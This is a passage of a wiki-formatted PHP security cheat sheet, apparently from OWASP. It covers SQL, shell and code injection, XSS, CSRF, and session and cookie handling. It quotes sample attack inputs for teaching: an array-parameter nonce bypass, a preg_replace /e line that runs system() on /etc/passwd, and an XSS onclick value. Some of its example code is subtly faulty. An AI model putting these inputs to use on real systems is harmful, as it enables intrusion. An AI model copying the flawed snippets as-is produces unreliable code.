* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static  assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use &amp;lt;code&amp;gt;.htaccess&amp;lt;/code&amp;gt; to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.&lt;br /&gt;
&lt;br /&gt;
====Input handling====&lt;br /&gt;
&lt;br /&gt;
Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a &amp;quot;one time nonce&amp;quot; mechanism that might be used, for example in a password reset code:&lt;br /&gt;
&lt;br /&gt;
    $supplied_nonce = $_GET['nonce'];&lt;br /&gt;
    $correct_nonce = get_correct_value_somehow();&lt;br /&gt;
    &lt;br /&gt;
    if (strcmp($supplied_nonce, $correct_nonce) == 0) {&lt;br /&gt;
        // Go ahead and reset the password&lt;br /&gt;
    } else {&lt;br /&gt;
        echo 'Sorry, incorrect link';&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
If an attacker uses a querystring like this:&lt;br /&gt;
&lt;br /&gt;
    http://example.com/?nonce[]=a&lt;br /&gt;
&lt;br /&gt;
then we end up with &amp;lt;code&amp;gt;$supplied_nonce&amp;lt;/code&amp;gt; being an array. The function &amp;lt;code&amp;gt;strcmp()&amp;lt;/code&amp;gt; will then return &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt; (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt; (equality) operator instead of the &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; (identity) operator, the comparison succeeds (since the expression &amp;lt;code&amp;gt;NULL == 0&amp;lt;/code&amp;gt; is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.&lt;br /&gt;
&lt;br /&gt;
====Template language====&lt;br /&gt;
&lt;br /&gt;
PHP is essentially a template language. However, it doesn't do HTML escaping by&lt;br /&gt;
default, which makes it very problematic for use in a web application - see&lt;br /&gt;
section on XSS below.&lt;br /&gt;
&lt;br /&gt;
====Other inadequacies====&lt;br /&gt;
&lt;br /&gt;
There are other important things that a web framework should supply, such as a&lt;br /&gt;
CSRF protection mechanism that is on by default. Because PHP comes with a&lt;br /&gt;
rudimentary web framework that is functional enough to allow people to create&lt;br /&gt;
web sites, many people will do so without any knowledge that they need CSRF&lt;br /&gt;
protection.&lt;br /&gt;
&lt;br /&gt;
===Third party PHP code===&lt;br /&gt;
&lt;br /&gt;
Libraries and projects written in PHP are often insecure due to the problems&lt;br /&gt;
highlighted above, especially when proper web frameworks are not used. Do not&lt;br /&gt;
trust PHP code that you find on the web, as many security vulnerabilities can&lt;br /&gt;
hide in seemingly innocent code.&lt;br /&gt;
&lt;br /&gt;
Poorly written PHP code often results in warnings being emitted, which can cause&lt;br /&gt;
problems. A common solution is to turn off all notices, which is exactly the opposite&lt;br /&gt;
of what ought to be done (see above), and leads to progressively worse code.&lt;br /&gt;
&lt;br /&gt;
==Update PHP Now==&lt;br /&gt;
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''&lt;br /&gt;
&lt;br /&gt;
Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.&lt;br /&gt;
&lt;br /&gt;
=Configuration=&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP is strongly affected by configuration, which can be done through the &amp;quot;php.ini&amp;quot; file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php&lt;br /&gt;
&lt;br /&gt;
There are many security related configuration options. Some are listed below:&lt;br /&gt;
&lt;br /&gt;
==SetHandler==&lt;br /&gt;
&lt;br /&gt;
PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name &amp;quot;foo.php.txt&amp;quot; will be handled as PHP code, which can be a very serious remote execution vulnerability if &amp;quot;foo.php.txt&amp;quot; was not intended to be executed (e.g. example code) or came from a malicious file upload.&lt;br /&gt;
&lt;br /&gt;
=Untrusted data=&lt;br /&gt;
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.&lt;br /&gt;
&lt;br /&gt;
Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).&lt;br /&gt;
&lt;br /&gt;
==File uploads==&lt;br /&gt;
&lt;br /&gt;
Files received from a user pose various security threats, especially if other users can download these files. In particular:&lt;br /&gt;
&lt;br /&gt;
* Any file served as HTML can be used to do an XSS attack&lt;br /&gt;
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.&lt;br /&gt;
&lt;br /&gt;
Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.&lt;br /&gt;
&lt;br /&gt;
==Common mistakes on the processing of $_FILES array==&lt;br /&gt;
It is common to find code snippets online doing something similar to the following code:&lt;br /&gt;
&lt;br /&gt;
    if ($_FILES['some_name']['type'] == 'image/jpeg') {  &lt;br /&gt;
        //Proceed to accept the file as a valid image&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.&lt;br /&gt;
&lt;br /&gt;
    $finfo = new finfo(FILEINFO_MIME_TYPE);&lt;br /&gt;
    $fileContents = file_get_contents($_FILES['some_name']['tmp_name']);&lt;br /&gt;
    $mimeType = $finfo-&amp;gt;buffer($fileContents);&lt;br /&gt;
&lt;br /&gt;
Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.&lt;br /&gt;
&lt;br /&gt;
==Use of $_REQUEST==&lt;br /&gt;
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.&lt;br /&gt;
&lt;br /&gt;
=Database Cheat Sheet=&lt;br /&gt;
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:&lt;br /&gt;
&lt;br /&gt;
==Never concatenate or interpolate data in SQL==&lt;br /&gt;
&lt;br /&gt;
Never build up a string of SQL that includes user data, either by concatenation:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '&amp;quot; . $username . &amp;quot;';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
or interpolation, which is essentially the same:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '$username';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.&lt;br /&gt;
&lt;br /&gt;
==Escaping is not safe== &lt;br /&gt;
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.&lt;br /&gt;
&lt;br /&gt;
'''Why:'''&lt;br /&gt;
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).&lt;br /&gt;
&lt;br /&gt;
==Use Prepared Statements==&lt;br /&gt;
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====MySQLi Prepared Statements Wrapper====&lt;br /&gt;
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;num_rows) {&lt;br /&gt;
                $out = array();&lt;br /&gt;
                while (null != ($r = $result-&amp;gt;fetch_array(MYSQLI_ASSOC)))&lt;br /&gt;
                    $out [] = $r;&lt;br /&gt;
                return $out;&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query))&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: &amp;quot; . $DB-&amp;gt;error . &amp;quot;&amp;quot;);&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            //the following three lines are the only way to copy an array values in PHP&lt;br /&gt;
            $a = array();&lt;br /&gt;
            foreach ($args as $k =&amp;gt; &amp;amp;$v)&lt;br /&gt;
                $a[$k] = &amp;amp;$v;&lt;br /&gt;
            $types = str_repeat(&amp;quot;s&amp;quot;, count($args)); //all params are strings, works well on MySQL and SQLite&lt;br /&gt;
            array_unshift($a, $types);&lt;br /&gt;
            call_user_func_array(array($stmt, 'bind_param'), $a);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            //fetching all results in a 2D array&lt;br /&gt;
            $metadata = $stmt-&amp;gt;result_metadata();&lt;br /&gt;
            $out = array();&lt;br /&gt;
            $fields = array();&lt;br /&gt;
            if (!$metadata)&lt;br /&gt;
                return null;&lt;br /&gt;
            $length = 0;&lt;br /&gt;
            while (null != ($field = mysqli_fetch_field($metadata))) {&lt;br /&gt;
                $fields [] = &amp;amp;$out [$field-&amp;gt;name];&lt;br /&gt;
                $length+=$field-&amp;gt;length;&lt;br /&gt;
            }&lt;br /&gt;
            call_user_func_array(array(&lt;br /&gt;
                $stmt, &amp;quot;bind_result&amp;quot;&lt;br /&gt;
                    ), $fields);&lt;br /&gt;
            $output = array();&lt;br /&gt;
            $count = 0;&lt;br /&gt;
            while ($stmt-&amp;gt;fetch()) {&lt;br /&gt;
                foreach ($out as $k =&amp;gt; $v)&lt;br /&gt;
                    $output [$count] [$k] = $v;&lt;br /&gt;
                $count++;&lt;br /&gt;
            }&lt;br /&gt;
            $stmt-&amp;gt;free_result();&lt;br /&gt;
            return ($count == 0) ? null : $output;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Now you could do your every query like the example below:&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT ?&amp;quot; , 5 , &amp;quot;Username&amp;quot; , 2);&lt;br /&gt;
&lt;br /&gt;
Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.&lt;br /&gt;
&lt;br /&gt;
'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.&lt;br /&gt;
&lt;br /&gt;
====PDO Prepared Statement Wrapper====&lt;br /&gt;
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.&lt;br /&gt;
&lt;br /&gt;
    try {&lt;br /&gt;
        $DB = new PDO(&amp;quot;{$Driver}:dbname={$DatabaseName};host={$Host};&amp;quot;, $Username, $Password);&lt;br /&gt;
    } catch (Exception $e) {&lt;br /&gt;
        trigger_error(&amp;quot;PDO connection error: &amp;quot; . $e-&amp;gt;getMessage());&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;rowCount()) {&lt;br /&gt;
                return $result-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query)) {&lt;br /&gt;
                $Error = $DB-&amp;gt;errorInfo();&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: {$Error[2]}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            $i = 0;&lt;br /&gt;
            foreach ($args as &amp;amp;$v)&lt;br /&gt;
                $stmt-&amp;gt;bindValue(++$i, $v);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            return $stmt-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT 5&amp;quot; , 5 , &amp;quot;Username&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
===Where prepared statements do not work===&lt;br /&gt;
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:&lt;br /&gt;
&lt;br /&gt;
====Not Supported Fields====&lt;br /&gt;
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:&lt;br /&gt;
&lt;br /&gt;
    function whitelist($Needle,$Haystack)&lt;br /&gt;
    {&lt;br /&gt;
       if (!in_array($Needle,$Haystack))&lt;br /&gt;
          return reset($Haystack); //first element&lt;br /&gt;
       return $Needle;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    $Limit = $_GET['lim'];&lt;br /&gt;
    $Limit = $Limit * 1; //type cast, integers are safe&lt;br /&gt;
&lt;br /&gt;
    $Order = $_GET['sort'];&lt;br /&gt;
    $Order=whitelist($Order,Array(&amp;quot;ID&amp;quot;,&amp;quot;Username&amp;quot;,&amp;quot;Password&amp;quot;));&lt;br /&gt;
&lt;br /&gt;
This is very important. If you think you're tired and you rather blacklist than whitelist, you’re bound to fail.&lt;br /&gt;
&lt;br /&gt;
====Dynamic Queries====&lt;br /&gt;
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.&lt;br /&gt;
&lt;br /&gt;
When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:&lt;br /&gt;
&lt;br /&gt;
    $Query=&amp;quot;SELECT * FROM table WHERE &amp;quot;;&lt;br /&gt;
    foreach ($_GET['fields'] as $g)&lt;br /&gt;
        $Query.=whitelist($g,Array(&amp;quot;list&amp;quot;,&amp;quot;of&amp;quot;,&amp;quot;possible&amp;quot;,&amp;quot;fields&amp;quot;,&amp;quot;here&amp;quot;)).&amp;quot;=?&amp;quot;;&lt;br /&gt;
    $Values=$_GET['values'];&lt;br /&gt;
    array_unshift($Query); //add to the beginning&lt;br /&gt;
    $res=call_user_func_array(SQL, $Values);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==ORM==&lt;br /&gt;
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.&lt;br /&gt;
&lt;br /&gt;
==Encoding Issues==&lt;br /&gt;
&lt;br /&gt;
===Use UTF-8 unless necessary===&lt;br /&gt;
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Other Injection Cheat Sheet=&lt;br /&gt;
SQL aside, there are a few more injections possible ''and common'' in PHP:&lt;br /&gt;
&lt;br /&gt;
==Shell Injection==&lt;br /&gt;
A few PHP functions namely&lt;br /&gt;
&lt;br /&gt;
* shell_exec&lt;br /&gt;
* exec&lt;br /&gt;
* passthru&lt;br /&gt;
* system&lt;br /&gt;
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )&lt;br /&gt;
&lt;br /&gt;
run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.&lt;br /&gt;
&lt;br /&gt;
Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Code Injection==&lt;br /&gt;
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().&lt;br /&gt;
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.&lt;br /&gt;
&lt;br /&gt;
Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].&lt;br /&gt;
&lt;br /&gt;
    preg_replace(&amp;quot;/.*/e&amp;quot;,&amp;quot;system('echo /etc/passwd')&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.&lt;br /&gt;
 &lt;br /&gt;
==Other Injections==&lt;br /&gt;
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=XSS Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
There are two scenarios when it comes to XSS, each one to be mitigated accordingly:&lt;br /&gt;
&lt;br /&gt;
== No Tags ==&lt;br /&gt;
&lt;br /&gt;
Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.&lt;br /&gt;
&lt;br /&gt;
If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.&lt;br /&gt;
&lt;br /&gt;
Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.&lt;br /&gt;
&lt;br /&gt;
If you cannot switch to a secure template engine, you can use the function below on all untrusted data.&lt;br /&gt;
&lt;br /&gt;
'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.&lt;br /&gt;
&lt;br /&gt;
 //xss mitigation functions&lt;br /&gt;
 function xssafe($data,$encoding='UTF-8')&lt;br /&gt;
 {&lt;br /&gt;
    return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);&lt;br /&gt;
 }&lt;br /&gt;
 function xecho($data)&lt;br /&gt;
 {&lt;br /&gt;
    echo xssafe($data);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 //usage example&lt;br /&gt;
 &amp;lt;input type='text' name='test' value='&amp;lt;?php &lt;br /&gt;
 xecho (&amp;quot;' onclick='alert(1)&amp;quot;);&lt;br /&gt;
 ?&amp;gt;' /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Untrusted Tags==&lt;br /&gt;
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.&lt;br /&gt;
&lt;br /&gt;
==Templating engines==&lt;br /&gt;
&lt;br /&gt;
There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.&lt;br /&gt;
&lt;br /&gt;
Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.&lt;br /&gt;
&lt;br /&gt;
==Other Tips==&lt;br /&gt;
&lt;br /&gt;
* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.&lt;br /&gt;
&lt;br /&gt;
* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)&lt;br /&gt;
&lt;br /&gt;
* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.&lt;br /&gt;
&lt;br /&gt;
* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=CSRF Cheat Sheet=&lt;br /&gt;
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:&lt;br /&gt;
&lt;br /&gt;
* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.&lt;br /&gt;
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.&lt;br /&gt;
&lt;br /&gt;
The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version  would be available (hopefully). For now, mix that with the following tips:&lt;br /&gt;
&lt;br /&gt;
* Use re-authentication for critical operations (change password, recovery email, etc.)&lt;br /&gt;
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)&lt;br /&gt;
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.&lt;br /&gt;
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.&lt;br /&gt;
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.&lt;br /&gt;
&lt;br /&gt;
=Authentication and Session Management Cheat Sheet=&lt;br /&gt;
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:&lt;br /&gt;
 &lt;br /&gt;
==Session Management==&lt;br /&gt;
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:&lt;br /&gt;
&lt;br /&gt;
* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.&lt;br /&gt;
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).&lt;br /&gt;
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.&lt;br /&gt;
&lt;br /&gt;
===Session Hijacking Prevention===&lt;br /&gt;
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.&lt;br /&gt;
&lt;br /&gt;
To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:&lt;br /&gt;
&lt;br /&gt;
 $IP = getenv ( &amp;quot;REMOTE_ADDR&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic.  Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )&lt;br /&gt;
&lt;br /&gt;
===Invalidate Session ID===&lt;br /&gt;
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).&lt;br /&gt;
&lt;br /&gt;
===Rolling of Session ID===&lt;br /&gt;
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.&lt;br /&gt;
&lt;br /&gt;
===Exposed Session ID===&lt;br /&gt;
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.&lt;br /&gt;
&lt;br /&gt;
Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.&lt;br /&gt;
&lt;br /&gt;
===Session Fixation===&lt;br /&gt;
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].&lt;br /&gt;
&lt;br /&gt;
===Session Expiration===&lt;br /&gt;
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.&lt;br /&gt;
&lt;br /&gt;
Also keep the '''log out''' button close, and unset all traces of the session on log out.&lt;br /&gt;
&lt;br /&gt;
====Inactivity Timeout====&lt;br /&gt;
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria. &lt;br /&gt;
&lt;br /&gt;
This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.&lt;br /&gt;
&lt;br /&gt;
====General Timeout====&lt;br /&gt;
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Cookies===&lt;br /&gt;
Handling cookies in a PHP script has some tricks to it:&lt;br /&gt;
&lt;br /&gt;
====Never Serialize====&lt;br /&gt;
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.&lt;br /&gt;
&lt;br /&gt;
====Proper Deletion====&lt;br /&gt;
To delete a cookie safely, use the following snippet:&lt;br /&gt;
&lt;br /&gt;
 setcookie ($name, &amp;quot;&amp;quot;, 1);&lt;br /&gt;
 setcookie ($name, false);&lt;br /&gt;
 unset($_COOKIE[$name]);&lt;br /&gt;
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.&lt;br /&gt;
&lt;br /&gt;
You can also use '''session_name()''' to retrieve the name default PHP session cookie.&lt;br /&gt;
&lt;br /&gt;
====HTTP Only====&lt;br /&gt;
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.&lt;br /&gt;
&lt;br /&gt;
To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):&lt;br /&gt;
 &lt;br /&gt;
 #prototype&lt;br /&gt;
 bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )&lt;br /&gt;
&lt;br /&gt;
 #usage&lt;br /&gt;
 if (!setcookie(&amp;quot;MySessionID&amp;quot;, $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))&lt;br /&gt;
     echo (&amp;quot;could not set HTTP-only cookie&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
